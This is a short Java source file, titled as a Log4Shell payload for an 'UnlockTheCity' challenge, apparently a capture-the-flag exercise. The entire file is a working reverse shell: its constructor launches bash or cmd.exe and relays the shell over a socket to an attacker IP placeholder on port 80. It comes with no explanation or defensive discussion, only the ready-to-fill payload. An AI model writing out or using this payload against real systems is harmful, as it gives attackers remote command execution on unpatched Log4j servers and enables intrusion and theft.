log4shell payload for UnlockTheCity

YuleLogExploit.java

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class YuleLogExploit {

        public YuleLogExploit() throws Exception {

                String cmd;
        String OS = System.getProperty("os.name").toUpperCase();
        if (OS.contains("LINUX")) {
            OS    = "LINUX";
            cmd = "/bin/bash";
        } else {
            OS    = "WINDOWS";
            cmd = "cmd.exe";
        }
        String host="XX.XX.XX.XX"; //<--- IP address goes here
        int port=80;
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0)
                so.write(pi.read());
            while(pe.available()>0)
                so.write(pe.read());
            while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
        s.close();
    }
}